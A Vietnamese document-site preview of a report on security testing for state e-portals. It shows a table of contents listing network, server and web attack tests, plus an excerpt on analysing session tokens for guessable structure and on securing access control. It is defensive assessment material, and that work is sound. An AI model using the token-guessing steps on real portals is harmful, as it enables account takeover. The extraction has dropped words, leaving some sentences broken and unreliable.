Kiểm tra đánh giá an toàn thông tin cho cổng điện tử

368 1.2K 1
Kiểm tra đánh giá an toàn thông tin cho cổng điện tử

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

MỤC LỤC i DANH MỤC TỪ VIẾT TẮT x DANH MỤC HÌNH VẼ xiv MỞ ĐẦU 1 PHẦN I. CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA AN TOÀN THÔNG TIN TRONG CẤU TRÚC MẠNG 3 CHƯƠNG 1 (Chuyên đề 1) QUY TRÌNH ĐÁNH GIÁ KIẾN TRÚC HỆ THỐNG MẠNG 4 1.1. ĐÁNH GIÁ MẠNG RIÊNG ẢO (VPN) 4 1.1.1. Kiểm tra quét cổng 4 1.1.2. Thu thập dấu vết (Fingerprinting) 6 1.1.3. Kiểm tra khả năng bẻ khóa chia sẻ trước (PSK Preshared key) 8 1.1.4. Kiểm tra đăng nhập với các tài khoản mặc định 9 1.1.5. Kiểm tra SSL VPN 10 1.2. ĐÁNH GIÁ MẠNG KHÔNG DÂY (WLAN) 11 1.2.1. Phát hiện điểm truy cập giả mạo 11 1.2.2. Kiểm tra nghe lén đường truyền 12 1.2.3. Kiểm tra xác minh mã hóa 13 1.2.4. Kiểm tra bẻ khóa WEP (nếu có) 13 1.2.5. Kiểm tra Brute force khóa WPA (nếu có) 15 1.2.6. Kiểm tra đánh lừa địa chỉ MAC 15 1.2.7. Kiểm tra làm nhiễu tín hiệu 16 1.2.8. Kiểm tra tấn công MiTM 17 1.2.9. Kiểm tra chèn gói tin mã hóa 19 1.2.10. Kiểm tra giải mã gói tin 20 CHƯƠNG 2 (Chuyên đề 2) QUY TRÌNH ĐÁNH GIÁ CÁC PHƯƠNG TIỆN KẾT NỐI 22 2.1. ĐÁNH GIÁ ROUTER 22 2.1.1. Kiểm tra hostname của router 23 2.1.2. Quét các cổng mở mặc định trên router 23 2.1.3. Kiểm tra hệ điều hành, phiên bản router đang sử dụng 24 2.1.4. Kiểm tra các giao thức đang chạy trên router 25 2.1.5. Kiểm tra các lỗi trong cấu hình router 25 2.1.6. Kiểm tra các kết nối VTYTTY 26 2.1.7. Kiểm tra chế độ (Mode) router đang chạy 28 2.1.8. Kiểm tra giao thức SNMP 29 2.1.9. Kiểm tra các kết nối TFTP 30 2.1.10. Kiểm tra giao thức CDP 31 2.1.11. Kiểm tra giao thức NTP 32 2.1.12. Kiểm tra tấn công giả mạo (IP Spoofing) 32 2.1.13. Kiểm tra tấn công ARP 33 2.1.14. Kiểm tra giao thức định tuyến (routing protocol) 33 2.1.15. Kiểm tra RIP 34 2.1.16. Kiểm tra OSPF 35 2.1.17. Kiểm tra BGP 35 2.1.18. Kiểm tra EIGRP 36 2.1.19. Kiểm tra tấn công từ chối dịch vụ trên router 37 2.1.20. Kiểm tra tính năng hỗ trợ cấu hình thông qua webbase 38 2.2. ĐÁNH GIÁ SWITCH 38 2.2.1. Kiểm tra tấn công tràn bảng CAM 39 2.2.2. Kiểm tra điều khiển broadcaststorm 41 2.2.3. Kiểm tra VLAN hopping 42 2.2.4. Kiểm tra tấn công PVLAN 43 2.2.5. Kiểm tra tấn công cấu hình STP 44 2.2.6. Kiểm tra tấn công DHCP Server 45 2.2.7. Kiểm tra tấn công CDP 46 2.2.8. Kiểm tra tấn công ARP 47 2.2.9. Kiểm tra tấn công VTP 48 CHƯƠNG 3 (Chuyên đề 3) QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH CÁC HỆ THỐNG PHÒNG THỦ 50 3.1. ĐÁNH GIÁ FIREWALL 50 3.1.1. Xác định vị trí firewall 52 3.1.2. Nhận diện firewall và dãy network bằng traceroute 53 3.1.3. Kiểm tra quét cổng trên firewall 54 3.1.4. Kiểm tra Banner Grabbing 54 3.1.5. Phản ứng với gói tin tùy chỉnh 56 3.1.6. Liệt kê danh sách điều khiển truy cập 57 3.1.7. Xác định kiến trúc firewall 58 3.1.8. Kiểm tra chính sách firewall 58 3.1.9. Kiểm tra cổng chuyển hướng 59 3.2. ĐÁNH GIÁ ANTIVIRUS 60 3.2.1. Kiểm tra khả năng hoạt động của antivirus 61 3.2.2. Kiểm tra khả năng cập nhật antivirus 61 3.2.3. Kiểm tra khả năng tắtbật với tài khoản người dùng thông thường 62 3.2.4. Kiểm tra thiết lập quét 63 3.2.5. Kiểm tra hệ thống nhật ký, báo cáo 63 3.3. ĐÁNH GIÁ HỆ THỐNG PHÁT HIỆN XÂM NHẬP (IDS) 64 3.3.1. Kiểm tra khả năng sử dụng tài nguyên của hệ thống phát hiện xâm nhập (IDS) 65 3.3.2. Kiểm tra tấn công giả mạo địa chỉ IP, địa chỉ MAC 65 3.3.3. Kiểm tra khả năng xử lý các gói tin đã phân mảnh 66 3.3.4. Kiểm tra Overlapping Fragment, Ping of Death 67 3.3. 5. Kiểm tra khả năng đánh lừa IDS 68 3.3.6. Kiểm tra hệ thống cờ TCP 68 3.3. 7. Kiểm tra SYN flood, dự đoán số seq 69 3.3. 8. Kiểm tra với các gói ICMP 69 3.3. 9. Kiểm tra khả năng thực thi của IDS với TCPreplay 70 3.3.10. Kiểm tra trường hợp các URL (Uniform Resource Locator) đã được mã hóa (URL Encoding) 71 3.4. ĐÁNH GIÁ HỆ THỐNG HONEYPOT 72 3.4.1. Giới thiệu 72 3.4.2. Phân loại 72 PHẦN II. CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA AN TOÀN THÔNG TIN TRONG HỆ THỐNG MÁY CHỦ 74 CHƯƠNG 4 (Chuyên đề 4) QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ SỬ DỤNG 75 4.1. ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ UNIXLINUX 75 4.1.1. Nhận diện Livehost 76 4.1.2. Nhận diện cổng (port), dịch vụ (service) 77 4.1.3. Liệt kê tài khoản, nhóm người dùng 77 4.1.4. Kiểm tra các giao thức thông thường 78 4.1.5. Kiểm tra tấn công từ xa (Remote Attack) 79 4.1.6. Kiểm tra tấn công Password 80 4.1.7. Kiểm tra tấn công Buffer Overflows 81 4.1.8. Kiểu tấn công Format String 83 4.1.9. Kiểu tấn công chia sẻ NFS (Network File System) 83 4.1.10. Kiểm tra tấn công vào XWindow 84 4.1.11. Kiểm tra tấn công RPC (Remote Procedure Call) 84 4.1.12. Kiểm tra tấn công Web 86 4.1.13. Kiểm tra tấn công Mail Services 86 4.1.14. Kiểm tra tấn công Local 87 4.1.15. Kiểm tra tấn công phân quyền tập tin và thư mục 87 4.1.16. Kiểm tra tấn công Symlink 88 4.1.17. Kiểm tra tấn công Key Logger 89 4.1.18. Đánh giá an toàn vật lý 89 4.2. ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ WINDOWS 90 4.2.1. Thu thập thông tin 91 4.2.2. Kiểm tra các giao thức thông thường 96 4.2.3. Kiểm tra tấn công từ xa (Remote Attack) 97 4.2.4. Kiểm tra tấn công mật khẩu (Password Attack) 98 4.2.5. Kiểm tra tấn công tràn bộ nhớ (Buffer Overflow) 99 4.2.6. Kiểm tra tấn công kiểu dữ liệu (Formatstring) 100 4.2.7. Kiểm tra tấn công Web 100 4.2.8. Kiểm tra tấn công dịch vụ thư điện tử (Mail Service) 101 4.2.9. Kiểm tra tấn công NetBIOS 101 4.2.10. Kiểm tra tấn công SMB (Server Message Block ) 102 4.2.11. Kiểm tra tấn công Scheduling 102 4.2.12. Kiểm tra tấn công Registry 103 4.2.13. Kiểm tra tấn công GetAdmin và Sechole 104 4.2.14. Kiểm tra tấn công LPC (Local Procedure Call) 105 4.2.15. Kiểm tra tấn công Teardrop và Teardrop2 106 4.2.16. Kiểm tra tấn công Land và LaTierra 107 4.2.17. Kiểm tra tấn công nội bộ (Local Attack) 108 4.2.18. Kiểm tra tấn công Key Logger 108 4.2.19. Kiểm tra Password Dumping 109 4.2.20. Vượt qua xác thực bằng khởi động từ một hệ điều hành thay thế 110 4.2.21. Kiểm tra tấn công bằng ERD Commander 110 4.2.22. Kiểm tra tấn công DoS (Denial of Service) 111 CHƯƠNG 5 (Chuyên đề 5) QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH DỊCH VỤ MÁY CHỦ PHỤC VỤ WEB 113 5.1. ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ 113 5.1.1. Đánh giá hệ thống máy chủ UnixLinux 113 5.1.2. Đánh giá hệ thống máy chủ Windows 114 5.2. ĐÁNH GIÁ WEB SERVER 117 5.2.1. Đánh giá Apache HTTP 117 5.2.2. Đánh giá Apache Tomcat 118 5.2.3. Đánh giá IIS 119 5.3. ĐÁNH GIÁ CƠ SỞ DỮ LIỆU 122 5.3.1. Đánh giá MS SQL 122 5.3.2. Đánh giá Oracle 126 5.3.3. Đánh giá MySQL 130 PHẦN III. CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA ĐÁNH GIÁ AN TOÀN THÔNG TIN CHO HỆ THỐNG PHẦN MỀM CỔNG THÔNG TIN ĐIỆN TỬ 131 CHƯƠNG 6 (Chuyên đề 6) QUY TRÌNH THU THẬP THÔNG TIN CHUNG, ĐÁNH GIÁ NGUỒN GỐC PHÁT TRIỂN, ĐÁNH GIÁ CHỨC NĂNG SỬ DỤNG 132 6.1. TÌM THÔNG TIN VỀ MÁY CHỦ WEB 132 6.1.1. Tìm phiên bản hệ điều hành của máy chủ 132 6.1.2. Xác định các tên miền đặt chung trên máy chủ 138 6.1.3. Xác định các cổng đang được mở trên máy chủ 140 6.1.4. Kiểm tra cấu trúc, lỗ hổng và các công cụ quản trị trên máy chủ 142 6.2. TÌM THÔNG TIN VỀ ỨNG DỤNG WEB 145 6.2.1. Thu thập thông tin từ Google 145 6.2.2. Xác định các điểm nhập dữ liệu đầu vào 151 6.2.3. Kiểm tra phương thức mã hóa khi truyền dữ liệu (SSLTLS) 154 6.2.4. Xác định cấu trúc thư mục trang web 163 6.2.5. Xác định các tập tin cũ và tập tin sao lưu trên trang web 165 6.2.6. Phân tích mã nguồn trang web 166 CHƯƠNG 7 (Chuyên đề 7) QUY TRÌNH KIỂM TRA ĐÁNH GIÁ QUY TRÌNH CHỨNG THỰC NGƯỜI TRUY CẬP 172 7.1. KIỂM TRA MÃ HÓA KHI GỬI THÔNG ĐIỆP XÁC THỰC 172 7.1.1. Kiểm tra giao thức truyền 172 7.1.2. Kiểm tra phương thức truyền 174 7.2. KIỂM TRA DANH SÁCH NGƯỜI DÙNG 175 7.2.1. Kiểm tra các thông báo phản hồi từ Server 176 7.2.2. Phân tích URL 176 7.2.3. Tìm kiếm URI 177 7.2.4. Đoán User 177 7.3. KIỂM TRA TÀI KHOẢN NGƯỜI DÙNG MẶC ĐỊNH 178 7.3.1. Kiểm tra UserPassword mặc định 178 7.3.2. Kiểm tra chính sách đăng ký UserPassword của ứng dụng 178 7.3.3. Kiểm tra mã nguồn của ứng dụng 179 7.4. KIỂM TRA TẤN CÔNG BRUTE FORCE 179 7.4.1. Brute Force xác thực theo HTTP 179 7.4.2. Brute Force xác thực theo định dạng HTML 180 7.4.3. Brute Force với công cụ tự động 180 7.5. KIỂM TRA LỖI BỎ QUA QUY TRÌNH XÁC THỰC 182 7.5.1. Gọi trang trực tiếp (duyệt bắt buộc) 182 7.5.2. Thiết lập tham số 183 7.5.3. Đoán Session ID 184 7.5.4. SQL Injection (xác thực dạng HTML) 185 7.5.5. Kiểm tra mã nguồn ứng dụng 186 7.6. KIỂM TRA LỖ HỔNG TRONG VIỆC GHI NHỚ VÀ ĐẶT LẠI MẬT KHẨU 187 7.6.1. Kiểm tra việc đặt lại mật khẩu 188

MỤC LỤC MỤC LỤC .i DANH MỤC TỪ VIẾT TẮT iv DANH MỤC HÌNH VẼ viii MỞ ĐẦU PHẦN I CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA AN TOÀN THÔNG TIN TRONG CẤU TRÚC MẠNG CHƯƠNG (Chuyên đề 1) .4 QUY TRÌNH ĐÁNH GIÁ KIẾN TRÚC HỆ THỐNG MẠNG 1.1 ĐÁNH GIÁ MẠNG RIÊNG ẢO (VPN) 1.2 ĐÁNH GIÁ MẠNG KHÔNG DÂY (WLAN) 11 CHƯƠNG 21 (Chuyên đề 2) .21 QUY TRÌNH ĐÁNH GIÁ CÁC PHƯƠNG TIỆN KẾT NỐI 21 2.1 ĐÁNH GIÁ ROUTER 21 2.2 ĐÁNH GIÁ SWITCH 36 CHƯƠNG 49 (Chuyên đề 3) .49 QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH CÁC HỆ THỐNG PHÒNG THỦ 49 3.1 ĐÁNH GIÁ FIREWALL 49 3.2 ĐÁNH GIÁ ANTI-VIRUS 59 3.3 ĐÁNH GIÁ HỆ THỐNG PHÁT HIỆN XÂM NHẬP (IDS) 62 3.4 ĐÁNH GIÁ HỆ THỐNG HONEYPOT .71 PHẦN II CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA AN TOÀN THÔNG TIN TRONG HỆ THỐNG MÁY CHỦ .73 CHƯƠNG 74 (Chuyên đề 4) .74 QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ SỬ DỤNG 74 4.1 ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ UNIX/LINUX 74 4.2 ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ WINDOWS 89 i CHƯƠNG 111 (Chuyên đề 5) 111 QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH DỊCH VỤ MÁY CHỦ PHỤC VỤ WEB 111 5.1 ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ .111 5.2 ĐÁNH GIÁ WEB SERVER .115 5.3 ĐÁNH GIÁ CƠ SỞ DỮ LIỆU 120 PHẦN III CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA ĐÁNH GIÁ AN TOÀN THÔNG TIN CHO HỆ THỐNG PHẦN MỀM CỔNG THÔNG TIN ĐIỆN TỬ 129 CHƯƠNG 130 (Chuyên đề 6) 130 QUY TRÌNH THU THẬP THÔNG TIN CHUNG, ĐÁNH GIÁ NGUỒN GỐC PHÁT TRIỂN, ĐÁNH GIÁ CHỨC NĂNG SỬ DỤNG .130 6.1 TÌM THÔNG TIN VỀ MÁY CHỦ WEB 130 6.2 TÌM THÔNG TIN VỀ ỨNG DỤNG WEB 142 CHƯƠNG 167 (Chuyên đề 7) 167 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ QUY TRÌNH CHỨNG THỰC NGƯỜI TRUY CẬP 167 7.1 KIỂM TRA MÃ HÓA KHI GỬI THÔNG ĐIỆP XÁC THỰC 167 7.2 KIỂM TRA DANH SÁCH NGƯỜI DÙNG .170 7.3 KIỂM TRA TÀI KHOẢN NGƯỜI DÙNG MẶC ĐỊNH 172 7.4 KIỂM TRA TẤN CÔNG BRUTE FORCE 173 7.5 KIỂM TRA LỖI BỎ QUA QUY TRÌNH XÁC THỰC 175 7.6 KIỂM TRA LỖ HỔNG TRONG VIỆC GHI NHỚ VÀ ĐẶT LẠI MẬT KHẨU 180 7.7 KIỂM TRA QUÁ TRÌNH ĐĂNG XUẤT VÀ QUẢN LÝ BỘ NHỚ ĐỆM CACHE CỦA TRÌNH DUYỆT 184 7.8 KIỂM TRA KHẢ NĂNG SINH MÃ CAPTCHA 189 CHƯƠNG 191 (Chuyên đề 8) 191 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ KỸ THUẬT QUẢN LÝ PHIÊN CỦA HỆ THỐNG 191 8.1 KIỂM TRA MÔ HÌNH QUẢN LÝ PHIÊN 191 ii 8.2 KIỂM TRA THUỘC TÍNH COOKIE 194 8.3 KIỂM TRA QUÁ TRÌNH TẠO COOKIE 196 8.4 KIỂM TRA VIỆC LỘ CÁC GIÁ TRỊ CỦA PHIÊN 198 8.5 KIỂM TRA LỖ HỔNG CSRF 201 CHƯƠNG 204 (Chuyên đề 9) 204 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ KỸ THUẬT PHÂN QUYỀN SỬ DỤNG 204 9.1 KIỂM TRA VIỆC LỘ ĐƯỜNG DẪN QUAN TRỌNG 204 9.2 KIỂM TRA VIỆC BỎ QUA QUÁ TRÌNH XÁC QUYỀN 206 9.3 KIỂM TRA LEO THANG ĐẶC QUYỀN 207 CHƯƠNG 10 209 (Chuyên đề 10) 209 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ CÁC KHẢ NĂNG TẤN CÔNG TỪ BÊN NGOÀI VÀO CỔNG THÔNG TIN ĐIỆN TỬ .209 10.1 TẤN CÔNG VỚI DỮ LIỆU KHÔNG HỢP LỆ .209 10.2 TẤN CÔNG TỪ CHỐI DỊCH VỤ 284 10.3 TẤN CÔNG QUA CÔNG NGHỆ AJAX .291 PHẦN IV ĐỀ XUẤT BIỆN PHÁP ĐẢM BẢO AN TOÀN THÔNG TIN CHO CÁC CỔNG THÔNG TIN ĐIỆN TỬ CỦA CÁC CƠ QUAN NHÀ NƯỚC 300 CHƯƠNG 11 301 (Chuyên đề 11) 301 MỘT SỐ BIỆN PHÁP CƠ BẢN ĐẢM BẢO AN TOÀN THÔNG TIN ÁP DỤNG CHO CÁC CỔNG THÔNG TIN ĐIỆN TỬ CỦA CÁC CƠ QUAN NHÀ NƯỚC 301 11.1 MỘT SỐ GIẢI PHÁP AN TOÀN KIẾN TRÚC HỆ THỐNG .301 11.2 MỘT SỐ GIẢI PHÁP AN TOÀN PHƯƠNG TIỆN KẾT NỐI 303 11.3 GIẢI PHÁP AN TOÀN HỆ THỐNG PHÒNG THỦ VÀ BẢO VỆ 308 11.4 GIẢI PHÁP AN TOÀN HỆ THỐNG MÁY CHỦ 310 11.5 GIẢI PHÁP AN TOÀN MÁY CHỦ PHỤC VỤ WEB 314 11.6 ĐỀ XUẤT GIẢI PHÁP ĐẢM BẢO AN TOÀN CHO ỨNG DỤNG WEB CỔNG THÔNG TIN ĐIỆN TỬ 336 KẾT LUẬN VÀ KIẾN NGHỊ 358 iii DANH MỤC TỪ VIẾT TẮT Từ viết tắt Nghĩa tiếng Anh 3DES Triple DES AES Advanced Encryption Standard AH Authentication Header AJAX Asynchronous JavaScript and XML AP Access Point ARP Address Resolution Protocol ASCII American Standard Code for Information Interchange ASP Association of Software Professionals BGP Border Gateway Protocol CA Certificate authority CAM Content-addressable Memory CAPTCHA Completely Automated Public Turing test to tell Computers and Humans Apart CDP Cisco Discovery Protocol CGI Common Gateway Interface CPU Central Processing Unit CSRF Cross-site request forgery DBMS Database Management System DDOS Distributed Denial of Service DES Data Encryption Standard DHCP Dynamic Host Configuration Protocol DMZ Demilitarized Zone DNS Domain Name System DNS Domain Name System DOM Document Object Model DOM Document Object Model DOS Denial of Service iv DoS Denial-of-service EIGRP Enhanced Interior Gateway Routing Protocol ESP Encapsulating Security Payload FTP File Transfer Protocol HTTP Hypertext Transfer Protocol HTTP Hypertext Transfer Protocol HTTPS Hypertext Transfer Protocol Secure HTTPS Hypertext Transfer Protocol Secure ICMP Internet Control Message Protocol ID Identification Data IDS Intrusion Detection System IDS Intrusion Detection System IE Internet Explorer IIS Internet Information Services IIS Internet Information Services IKE Internet Key Exchange IMAP Internet Message Access Protocol IOS Internetwork Operating System IP Internet Protocol IPS Intrusion Prevention Systems IPSEC Internet Protocol Security JSP JavaServer Pages L2TP Layer Tunneling Protocol LDAP Lightweight Directory Access Protocol LDAP Lightweight Directory Access Protocol LPC Local Procedure Call MAC Media Access Control MBSA Microsoft Baseline Security Analyzer MD5 Message-Digest algorithm MD5 Message-Digest algorithm MIB Management Information Base v MIME Multipurpose Internet Mail Extensions MiTM Man in The Middle NFS Network File System NNTP Network News Transfer Protocol NTFS New Technology File System NTP Network Time Protocol ODBC Open Database Connectivity OLE Object Linking and Embedding ORM Object-relational mapping OSPF Open Shortest Path First PCE PHP Charset Encoder PHP Hypertext Preprocessor PPTP Point-to-Point Tunneling Protocol PPTP Point-to-Point Tunneling Protocol PSK Pre-Shared Key PVLAN Private VLANs RIP Routing Information Protocol RPC Remote Procedure Call SHA Secure Hash Algorithm SMB Server Message Block SMTP Simple Mail Transfer Protocol SMTP Simple Mail Transfer Protocol SNMP Simple Network Management Protocol SQL Structured Query Language SSH Secure Shell SSI Server Side Includes SSID Service Set Identifier SSL Secure Sockets Layer SSL Secure Sockets Layer STP Spanning Tree Protocol TCP Transmission Control Protocol vi TFTP Trivial File Transfer Protocol TLS Transport Layer Security TLS Transport Layer Security URL Uniform Resource Locator VLAN Virtual Local Area Network VPN Virtual Private Network VTP Vlan Trunking Protocol WAN Wide Area Network WEP Wired Equivalent Privacy WLAN Wireless Local Area Network WPA Wi-Fi Protected Access XML eXtensible Markup Language XSS ross-site scripting vii DANH MỤC HÌNH VẼ Hình 1.1: Danh sách mật mặc định Hình 1.2: Kiểm tra SSL với VPNmonitor 10 Hình 1.3: Bẻ khóa AirSnort .14 Hình 1.4: Thay đổi địa MAC 16 Hình 1.5: Chèn gói tin mã hóa 19 Hình 1.6: Giải mã gói tin .20 Hình 2.1: công cụ PuTTY 26 Hình 2.2: Kết nối đến router PuTTY 26 Hình 2.3: Các chế độ dòng lệnh router 27 Hình 2.4: Đăng nhập vào chế độ “privilege” .28 Hình 2.5: Công cụ L0phtcrack 33 Hình 2.6: Hiện tượng tràn bảng CAM 39 Hình 2.7: Hiện tượng broadcast-storm .40 Hình 2.8: Cấu hình bảo vệ SPT 43 Hình 2.9: Giả mạo ARP .47 Hình 6.2.1 Thông tin máy chủ sử dụng netcat .131 Hình 6.3.1: Lấy tập tin robots.txt từ google sử dụng Wget 143 Hình 6.3.2 Sử dụng toán tử “site:” tìm kiếm Google .146 Hình 6.3.3 Sử dụng toán tử “cache:” tìm kiếm Google 146 Hình 6.3.4 Sử dụng toán tử “intitle:” tìm kiếm Google 147 Hình 6.3.5 Cảnh báo từ trình duyệt IE chứng không hợp lệ 157 Hình 6.3.6 Cảnh báo từ FireFox gặp chứng không hợp lệ 158 Hình 6.4.1 Cấu trúc trang web Paros tìm thấy .159 Hình 6.4.2 Một số tập tin trang web Paros tìm thấy .161 Hình 6.4.3 Thông tin Username xuất mã nguồn .162 Hình 6.4.4 Thông tin Password xuất mã nguồn 163 Hình 6.4.5 Thông tin địa email xuất mã nguồn 163 Hình 6.4.6 Tìm kiếm liên kết 164 Hình 7.4.1 Tấn công Brute Force với công cụ Brutus .174 Hình 7.4.2 Tấn công thỏa hiệp nhớ (Memory Trade-off) 175 viii Hình 7.5.1 Duyệt bắt buộc .176 Hình 7.5.2 Thay đổi tham số 177 Hình 7.5.3 Cookie tăng tuyến tính 178 Hình 7.5.4 Cookie thay đổi phần 178 Hình 7.5.5 Gọi trang đăng nhập 179 Hình 7.5.6 Quan sát đăng nhập Webscarab .179 Hình 7.7.1 Chèn cookie Webscarab .186 Hình 7.7.2 Chèn cookie N Edit Cookies 187 Hình 8.2.1 Các trình duyệt hỗ trợ thuộc tính “HttpOnly” .195 Hình 8.5.1 Một trình công CSRF 202 Hình 8.5.2 Xóa toàn viết .203 Hình 10.1.1 Trang web ban đầu chưa chèn mã khai thác XSS 211 Hình 10.1.2 Một trường hợp khai thác thành công lỗi XSS 212 Hình 10.1.3 Một trường hợp khai thác thành công lỗi XSS 212 Hình 10.1.4 Một form nhập thông tin người dùng đăng ký tài khoản 215 Hình 10.1.5 Thông tin BeFF thu 217 khai thác trình duyệt người dùng 217 Hình 10.1.3.1 Sử dụng công cụ sqlDumper 233 Hình 10.1.4.1: Giao tiếp với máy chủ mail cách sử dụng kỹ thuật chèn IMAP/SMTP 268 Hình 10.1.4.1: Sử dụng OllyDbg để Debug file thực thi windows 275 Hình 10.1.4.2: sample.exe chạy trình gỡ rối OllyDbg 278 Hình 10.1.4.3: Kết gỡ rối Ollydbg .279 Hình 10.1.4.4: Khả tràn ngăn xếp có ký tự xác định ngăn xếp 282 Hình 10.1.4.5 Tránh lỗi tràn ngăn xếp ký tự xác định 283 Hình 10.3.1 Nơi đặt script XML mã nguồn 295 Hình 10.3.2 Trình proxy cho thấy xác ta request điều .296 Hình 10.3.4 Sử dụng FireBug 297 Hình 10.3.5 Kết bắt lỗi FireBug 297 Hình 10.3.6 Tiến hành bắt lỗi với FireBug nhập liệu vào ứng dụng 298 Hình 10.3.7 Kết thu sau nhập user mật 298 Hình 10.3.8 Thông tin chi tiết ngăn xếp sau debug 299 ix x phiên để xác nhận lại chứng thực người dùng cuối Ngoài ra, số ứng dụng sử dụng chế xác thực không đầy đủ để quản lý, tất thông tin quản lý xác nhận từ khách hàng, thường mật - Nếu ứng dụng sử dụng thẻ phiên, xác nhận xác liệu thực sử dụng để xác nhận lại người sử dụng Các đối tượng sử dụng để truyền thẻ bao gồm HTTP cookie, tham số chuỗi truy vấn, trường ẩn Một số phần khác liệu sử dụng chung để xác định lại người dùng đối tượng khác sử dụng cho thành phần đầu cuối khác Thông thường, thành phần trông giống phiên thẻ không thực sử dụng, ví dụ cookie mặc định tạo máy chủ web - Để xác minh mục thực sử dụng thẻ phiên, tìm trang chức mà chắn phụ thuộc vào phiên (chẳng hạn người dùng, trang thông tin chi tiết cá nhân) gửi đến vài yêu cầu, loại bỏ mục nghi ngờ sử dụng mã phiên thông báo Nếu việc loại bỏ mục làm ngừng phiên, nhận biết thông báo trả về, xác nhận thẻ phiên Có thể sử dụng Burp Repeater để thực kiểm tra - Thay đổi giá trị byte thẻ thời điểm kiểm tra giá trị thay đổi chấp nhận Nếu có thông báo sử dụng mã để trì trạng thái phiên, loại bỏ mã để phân tích thêm 11.6.5.2 Kiểm tra tác dụng thẻ phiên - Đăng nhập với vai trò người dùng khác thời điểm khác ghi lại thẻ nhận từ máy chủ Nếu đăng ký tự có 344 sẵn chọn tên người dùng, đăng nhập với loạt người sử dụng tương tự với tên có chứa biến thể nhỏ chúng như: A, AA, AAA, AAAA, AAAB, AAAC, AABA,… Nếu gửi liệu người dùng lúc đăng nhập lưu trữ hồ sơ người dùng (như địa email), thực vài kiểm tra tương tự để sửa đổi liệu hệ thống lấy thẻ phiên - Phân tích thẻ nhận để tìm thông tin liên quan đến tên người dùng liệu điều khiển người dùng khác - Phân tích thẻ với kiểu mã hóa phát Xem xét tương quan độ dài tên người dùng độ dài mã thông báo, tìm kiểu mã hóa sử dụng Trường hợp tên người dùng chứa chuỗi nhân vật, tìm chuỗi ký tự tương ứng mã thông báo, sử dụng obfuscation XOR Có thể tìm mã thông báo chứa ký tự thập lục phân, mã hóa hex chuỗi ASCII thông tin khác Thử kết thúc dấu “=” ký tự Base64 hợp lệ khác: a-z, A-Z, 0-9, / - Nếu xác định liệu có ý nghĩa thẻ phiên thu được, xem xét liệu điều có đủ để thực công đoán thẻ cấp người dùng gần 11.6.6 Khắc phục vấn đề việc quản lý truy cập - Mỗi ứng dụng có cách phân quyền khác người dùng xem liệu họ, người quản trị xem tài khoản người khác - Để chuẩn bị cho bước này, cần tạo nhiều tài khoản với mức đặc quyền khác nhau, vạch danh mục liên kết mà tài khoản truy cập vào 11.6.6.1 Thực việc kiểm tra với tài khoản vừa tạo 345 - Nếu ứng dụng phân quyền truy cập theo mức từ cao xuống, dùng tài khoản quản trị duyệt hết nội dung mà tài khoản truy cập, lưu lại liên kết Sau dùng tài khoản với quyền thấp thử truy cập vào liên kết - Nếu ứng dụng chia quyền theo kiểu ngang hàng, thử dùng tài khoản truy cập vào mục riêng tài khoản khác ngược lại Nếu hai tài khoản ngang quyền mà truy cập vào chức riêng tài khoản cần xem lại cách phân quyền 11.6.6.2 Các biện pháp điều khiển truy cập an toàn Những biện pháp sau nhằm khắc phục thiếu hiểu biết người quản trị yêu cầu cần thiết việc điều khiển truy cập hiệu nhận định sai lầm yêu cầu mà người dùng tạo ra: - Không nên tin người dùng thiếu hiểu biết URL trình ứng dụng định danh dùng đặc tả nguồn tài nguyên ứng dụng, số thứ tự tài khoản số ID tài liệu Rõ ràng người dùng hiểu rõ thông số đó, nên cần đảm bảo trình ứng dụng có chế quản lý truy cập hiệu để ngăn cản truy cập bất hợp pháp - Không tin tưởng vào tham số mà người dùng gởi lên để tự xác định quyền họ kiểu như: admin=true - Không nên cho người dùng truy cập vào trang ứng dụng theo trình tự định sẵn Và không nên cho người dùng truy cập vào trang chỉnh sửa người dùng họ truy cập vào trang chỉnh sửa khác liên kết từ - Không nên tin tưởng vào người dùng mà không làm xáo trộn liệu chuyển qua client Với vài liệu người dùng nhập vào xác nhận truyền từ client chưa vội gởi trả lời mà chưa xác nhận lại lần 346 Những biện pháp tăng tính hiệu việc quản lý truy cập bên ứng dụng web: - Xác nhận lên danh sách yêu cầu quản lý truy cập cho đơn vị chức ứng dụng Cần thực cho người dùng hợp pháp có quyền truy cập vào chức tài nguyên mà người dùng riêng lẽ truy cập thông qua chức - Sử dụng phiên để điều khiển truy cập người dùng - Dùng thành phần trung tâm để kiểm tra việc điều khiển truy cập - Thực việc xử lý yêu cầu đơn từ client thông qua thành phần trên, để xác nhận người dùng tạo yêu cầu phép truy cập vào chức tài nguyên mà họ yêu cầu - Sử dụng chương trình kỹ thuật để ngoại lệ vượt qua bước Một cách kiểm soát hiệu ủy nhiệm mà trang ứng dụng phải qua giao diện mà truy vấn cỗ máy quản lý truy cập - Với chức nhậy cảm trang người quản trị, cần hạn chế IP truy cập vào để người dùng xác định trước đủ quyền để đăng nhập vào chức quản lý ứng dụng - Nếu thông tin tĩnh cần bảo vệ, có hai phương pháp Thứ nhất, tệp tin tĩnh truy cập gián tiếp thông qua đường dẫn với thông số đường dẫn tự thay đổi cho phiên làm việc với ứng dụng Thứ hai, tệp tin tĩnh truy cập trực tiếp thông qua chế xác thực HTTP kiểu đặt mật thư 